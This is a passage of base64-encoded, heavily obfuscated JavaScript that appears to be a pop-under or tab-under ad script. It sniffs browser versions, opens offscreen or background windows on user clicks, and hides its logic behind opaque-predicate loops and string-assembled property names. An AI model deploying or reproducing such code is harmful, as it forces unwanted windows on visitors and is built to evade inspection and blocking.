GUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGh